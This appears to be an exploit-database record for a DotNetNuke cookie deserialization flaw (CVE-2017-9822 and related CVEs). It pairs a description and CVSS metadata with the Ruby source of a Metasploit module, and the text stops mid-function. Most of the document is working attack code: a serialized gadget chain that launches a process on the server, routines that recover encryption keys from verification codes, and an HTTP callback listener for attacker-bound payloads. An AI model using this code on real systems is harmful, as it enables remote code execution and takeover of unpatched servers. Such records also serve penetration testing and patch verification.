Description
This Metasploit module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 through 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.
Related
{"id": "1337DAY-ID-34183", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "DotNetNuke Cookie Deserialization Remote Code Execution Exploit", "description": "This Metasploit module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 through 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.", "published": "2020-04-03T00:00:00", "modified": "2020-04-03T00:00:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": true, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/34183", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2017-9822", "CVE-2018-15811", "CVE-2018-15812", "CVE-2018-18325", "CVE-2018-18326"], "immutableFields": [], "lastseen": "2022-11-15T21:38:30", "viewCount": 388, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:615836BE-C140-4D07-B86A-E3FCCCAD3616", "AKB:63360709-8F15-4D03-9CE0-636D91400714", "AKB:B631D77A-EA02-4131-8F66-5588DDBF3D3F"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2018-0023", "CPAI-2018-1794"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2017-9822", "CISA-KEV-CVE-2018-15811", "CISA-KEV-CVE-2018-18325"]}, {"type": "cve", "idList": ["CVE-2017-9822", "CVE-2018-15811", "CVE-2018-15812", "CVE-2018-18325", "CVE-2018-18326"]}, {"type": "exploitdb", "idList": ["EDB-ID:48336"]}, {"type": "github", "idList": ["GHSA-H595-8PW6-5Q6V", "GHSA-J3G9-6FX5-GJV7", "GHSA-PF46-GQG9-J3V3", "GHSA-X2RG-FMCV-CRQ5", "GHSA-XX3H-J3CX-8QFJ"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-HTTP-DNN_COOKIE_DESERIALIZATION_RCE-"]}, {"type": "myhack58", "idList": ["MYHACK58:62201993037"]}, {"type": "nessus", "idList": ["DOTNETNUKE_9_1_1.NASL", "DOTNETNUKE_9_3_1_WEAK_ENCRYPTION.NASL", "WEB_APPLICATION_SCANNING_113335"]}, {"type": "osv", "idList": ["OSV:GHSA-H595-8PW6-5Q6V", "OSV:GHSA-J3G9-6FX5-GJV7", "OSV:GHSA-PF46-GQG9-J3V3", "OSV:GHSA-X2RG-FMCV-CRQ5", "OSV:GHSA-XX3H-J3CX-8QFJ"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157080"]}, {"type": "seebug", "idList": ["SSV:96326"]}]}, "score": {"value": 0.5, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:63360709-8F15-4D03-9CE0-636D91400714"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2018-0023"]}, {"type": "cve", "idList": ["CVE-2017-9822"]}, {"type": "exploitdb", "idList": ["EDB-ID:48336"]}, {"type": "github", "idList": ["GHSA-H595-8PW6-5Q6V", "GHSA-J3G9-6FX5-GJV7", "GHSA-PF46-GQG9-J3V3", "GHSA-X2RG-FMCV-CRQ5", "GHSA-XX3H-J3CX-8QFJ"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/WINDOWS/HTTP/DNN_COOKIE_DESERIALIZATION_RCE"]}, {"type": "myhack58", "idList": ["MYHACK58:62201993037"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157080"]}, {"type": "seebug", "idList": ["SSV:96326"]}]}, "exploitation": null, "vulnersScore": 0.5}, "_state": {"dependencies": 1668548376, "score": 1668548343}, "_internal": {"score_hash": "f4d69bbfe847eb4b70f14a411d798303"}, "sourceHref": "https://0day.today/exploit/34183", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/exploit/powershell'\nrequire 'openssl'\nrequire 'set'\n\nclass MetasploitModule < Msf::Exploit::Remote\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HttpServer\n\n Rank = ExcellentRanking\n\n # =================================\n # Overidden setup method to allow\n # for delayed handler start\n # =================================\n def setup\n # Reset the session counts to zero.\n reset_session_counts\n\n return if !payload_instance\n return if !handler_enabled?\n\n # Configure the payload handler\n payload_instance.exploit_config = {\n 'active_timeout' => active_timeout\n }\n\n # payload handler is normally set up and started here\n # but has been removed so we can start the handler when needed.\n end\n\n def initialize(info = {})\n super(update_info(\n info,\n 'Name' => \"DotNetNuke Cookie Deserialization Remote Code Excecution\",\n 'Description' => %q(\n This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.\n Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.\n The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization.\n The cookie is processed by the application whenever it attempts to load the current user's profile data.\n This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).\n An attacker can leverage this vulnerability to execute arbitrary code on the system.\n ),\n 'License' => MSF_LICENSE,\n 'Author' => [ 'Jon Park', 'Jon Seigel' ],\n 'References' =>\n [\n [ 'CVE', '2017-9822' ],\n [ 'CVE', '2018-15811'],\n [ 'CVE', '2018-15812'],\n [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811\n [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812\n [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],\n [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],\n [ 'URL', 'https://github.com/pwntester/ysoserial.net']\n ],\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Automatic', { 'auto' => true } ],\n [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],\n [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],\n [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],\n [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]\n ],\n 'Stance' => Msf::Exploit::Stance::Aggressive,\n 'Payload' =>\n {\n\n },\n 'Privileged' => false,\n 'DisclosureDate' => \"Jul 20 2017\",\n 'DefaultOptions' => { 'WfsDelay' => 5 },\n 'DefaultTarget' => 0\n ))\n\n deregister_options('SRVHOST')\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),\n OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),\n OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.\n Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),\n OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;\n (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),\n OptString.new('KEY', [false, 'The key to use for encryption.', '']),\n OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),\n OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.\n DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),\n OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.\n Can also be the path to a file containing a list of verification codes.), ''])\n ]\n )\n\n\n initialize_instance_variables\n end\n\n def initialize_instance_variables\n # ==================\n # COMMON VARIABLES\n # ==================\n\n @target_idx = 0\n\n # Flag for whether or not to perform exploitation\n @dry_run = false\n\n # Flag for whether or not the target requires encryption\n @encrypted = false\n\n # Flag for whether or not to attempt to decrypt the provided verification token(s)\n @try_decrypt = false\n\n # ==================\n # PAYLOAD VARIABLES\n # ==================\n\n # ObjectStateFormatter serialized header\n @osf_header = [255, 1, 50]\n\n # ObjectStateFormatter serialized data before the command payload\n @osf_wrapper_start = [\n 0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,\n 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,\n 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,\n 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,\n 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,\n 48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,\n 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,\n 99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,\n 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,\n 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,\n 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,\n 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,\n 57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,\n 114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,\n 0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,\n 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,\n 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,\n 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,\n 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,\n 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,\n 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,\n 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,\n 57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,\n 2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,\n 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,\n 114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,\n 112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,\n 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,\n 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,\n 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,\n 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,\n 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,\n 95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,\n 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,\n 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,\n 17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0\n ]\n\n # ObjectStateFormatter serialized data to place after the command payload.\n @osf_wrapper_end = [\n 6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,\n 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,\n 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,\n 68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,\n 109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,\n 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,\n 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,\n 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,\n 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,\n 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,\n 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,\n 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,\n 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,\n 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,\n 0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,\n 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,\n 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,\n 97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,\n 97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,\n 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,\n 108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,\n 101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,\n 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,\n 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,\n 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,\n 114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,\n 0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,\n 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,\n 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,\n 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,\n 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,\n 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,\n 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,\n 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,\n 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,\n 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,\n 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,\n 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,\n 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,\n 115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,\n 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,\n 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,\n 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,\n 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,\n 93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,\n 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,\n 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,\n 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,\n 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,\n 73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,\n 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,\n 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,\n 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,\n 52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,\n 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,\n 115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,\n 0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,\n 105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,\n 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,\n 114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,\n 121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,\n 105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,\n 114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,\n 110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,\n 1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,\n 93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,\n 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,\n 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,\n 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,\n 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,\n 99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,\n 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,\n 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,\n 10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,\n 114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,\n 46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,\n 32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,\n 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,\n 116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,\n 109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,\n 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,\n 16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,\n 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,\n 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,\n 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,\n 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,\n 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,\n 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,\n 52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,\n 0, 0, 9, 22, 0, 0, 0, 10, 11\n ]\n\n @cr_regex = /(?<=Copyright \\(c\\) 2002-)(\\d{4})/\n\n # ==================\n # v9.1.1+ VARIABLES\n # ==================\n\n\n @key_charset = \"02468ABDF\"\n @verification_codes = []\n\n @iv_regex = /[0-9A-F]{8}/\n\n # Known plaintext\n @kpt = \"\"\n\n # Encryption objects\n @decryptor = OpenSSL::Cipher.new('des')\n @decryptor.decrypt\n\n @encryptor = OpenSSL::Cipher.new('des')\n @encryptor.encrypt\n\n # final passphrase (key +iv) to use for payload (v9.1.1+)\n @passphrase = \"\"\n\n # ==================\n # v9.2.0+ VARIABLES\n # ==================\n\n # Session token needed for exploitation (v9.2.0+)\n @session_token = \"\"\n\n # ==================\n # v9.2.2+ VARIABLES\n # ==================\n\n # User ID format (v9.2.2+)\n # Number of characters of user ID available in plaintext\n # is equal to the length of a GUID (no spaces or dashes)\n # minus (blocksize - known plaintext length).\n @user_id_pt_length = 32 - (8 - @kpt.length)\n @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/\n\n # Plaintext found from decryption (v9.2.2+)\n @found_pt = \"\"\n\n @iv_charset = \"0123456789abcdef\"\n\n # Possible IVs used to encrypt verification codes (v9.2.2+)\n @possible_ivs = Set.new([])\n\n # Possible keys used to encrypt verification codes (v9.2.2+)\n @possible_keys = Set.new([])\n\n # passphrases (key + iv) values to use for payload encryption (v9.2.2+)\n @passphrases = []\n\n # char sets to use when generating possible base keys\n @unchanged = Set.new([65,70])\n end\n\n def decode_verification(code)\n # Decode verification code base don DNN format\n return String.new(\n Rex::Text.decode_base64(\n code.chomp.gsub(\".\", \"+\").gsub(\"-\", \"/\").gsub(\"_\", \"=\")\n )\n )\n end\n\n # ==============\n # Main function\n # ==============\n def exploit\n\n return unless check == Exploit::CheckCode::Appears\n\n @encrypted = datastore['ENCRYPTED']\n verification_code = datastore['VERIFICATION_CODE']\n if File.file?(verification_code)\n File.readlines(verification_code).each do |code|\n @verification_codes.push(decode_verification(code))\n end\n else\n @verification_codes.push(decode_verification(verification_code))\n end\n\n @kpt = datastore['VERIFICATION_PLAIN']\n\n @session_token = datastore['SESSION_TOKEN']\n @dry_run = datastore['DryRun']\n key = datastore['KEY']\n iv = datastore['IV']\n\n if target['ReqEncrypt'] && @encrypted == false\n print_warning(\"Target requires encrypted payload. Exploit may not succeed.\")\n end\n\n if @encrypted\n # Requires either supplied key and IV, or verification code and plaintext\n if (!key.blank? && !iv.blank?)\n @passphrase = key + iv\n # Key and IV were supplied, don't try and decrypt.\n @try_decrypt = false\n elsif ([email\u00a0protected]_codes.empty? && [email\u00a0protected]?)\n @try_decrypt = true\n else\n fail_with(Failure::BadConfig, \"You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).\")\n end\n end\n\n if target['ReqSession']\n if @session_token.blank?\n fail_with(Failure::BadConfig, \"Target requires a valid SESSION_TOKEN for exploitation.\")\n end\n end\n\n if @encrypted && @try_decrypt\n # Set IV for decryption as the known plaintext, manually\n # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.\n # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.\n # For v9.2.2+ it will find an initial base key faster than if padding were enabled.\n f8_plain = @kpt[0, 8]\n c_iv = f8_plain.unpack(\"C*\") + [8 - f8_plain.length] * (8 - f8_plain.length)\n @decryptor.iv = String.new(c_iv.pack(\"C*\"))\n @decryptor.padding = 0\n\n key = find_key(@verification_codes[0])\n if key.blank?\n return\n end\n\n if @target_idx == 4\n # target is v9.2.2+, requires base64 generated key and IV values.\n generate_base_keys(0, key.each_byte.to_a, \"\")\n vprint_status(\"Generated #{@possible_keys.size} possible base KEY values from #{key}\")\n\n # re-enable padding here as it doesn't have the\n # same performance impact when trying to find possible IV values.\n @decryptor.padding = 1\n\n print_warning(\"Finding possible base IVs. This may take a few minutes...\")\n start = Time.now\n find_ivs(@verification_codes, key)\n elapsed = Time.now - start\n vprint_status(\n format(\n \"Found %<n_ivs>d potential Base IV values using %<n_codes>d \"\\\n \"verification codes in %<e_time>.2f seconds.\",\n n_ivs: @possible_ivs.size,\n n_codes: @verification_codes.size,\n e_time: elapsed.to_s\n )\n )\n\n generate_payload_passphrases\n vprint_status(format(\"Generated %<n_phrases>d possible base64 KEY and IV combinations.\", n_phrases: @passphrases.size))\n end\n\n if @passphrase.blank?\n # test all generated passphrases by\n # sending an exploit payload to the target\n # that will callback to an HTTP listener\n # with the index of the passphrase that worked.\n\n # set SRVHOST as LHOST value for HTTPServer mixin\n datastore['SRVHOST'] = datastore['LHOST']\n print_warning(\"Trying all possible KEY and IV combinations...\")\n print_status(\"Starting HTTP listener on port #{datastore['SRVPORT']}...\")\n start_service\n vprint_warning(\"Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...\")\n\n test_passphrases\n\n # If no working passphrase has been found,\n # wait to allow the the chance for the last one to callback.\n if @passphrase.empty? && [email\u00a0protected]_run\n sleep(wfs_delay)\n end\n if service\n stop_service\n end\n print \"\\r\\n\"\n if [email\u00a0protected]?\n print_good(\"KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found\")\n end\n end\n end\n send_exploit_payload\n end\n\n # =====================\n # For the check command\n # =====================\n def check\n if target.name == 'Automatic'\n select_target\n end\n\n @target_idx = Integer(datastore['TARGET'])\n\n if @target_idx == 0\n fail_with(Failure::NoTarget, 'No valid target found or specified.')\n end\n\n # Check if 404 page is custom or not.\n # Vulnerability requires custom 404 handling (enabled by default).\n uri = normalize_uri(target_uri.path)\n print_status(\"Checking for custom error page at: #{uri} ...\")\n res = send_request_cgi(\n 'uri' => uri\n )\n\n if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600\n print_good(\"Custom error page detected.\")\n else\n print_error(\"IIS Error Page detected.\")\n return Exploit::CheckCode::Safe\n end\n return Exploit::CheckCode::Appears\n end\n\n # ===========================\n # Auto-select target version\n # ===========================\n def select_target\n print_status(\"Trying to determine DNN Version...\")\n # Check for copyright version in /Documentation/license.txt\n uri = %r{^(.*[\\\\\\/])}.match(target_uri.path)[0]\n vprint_status(\"Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...\")\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => 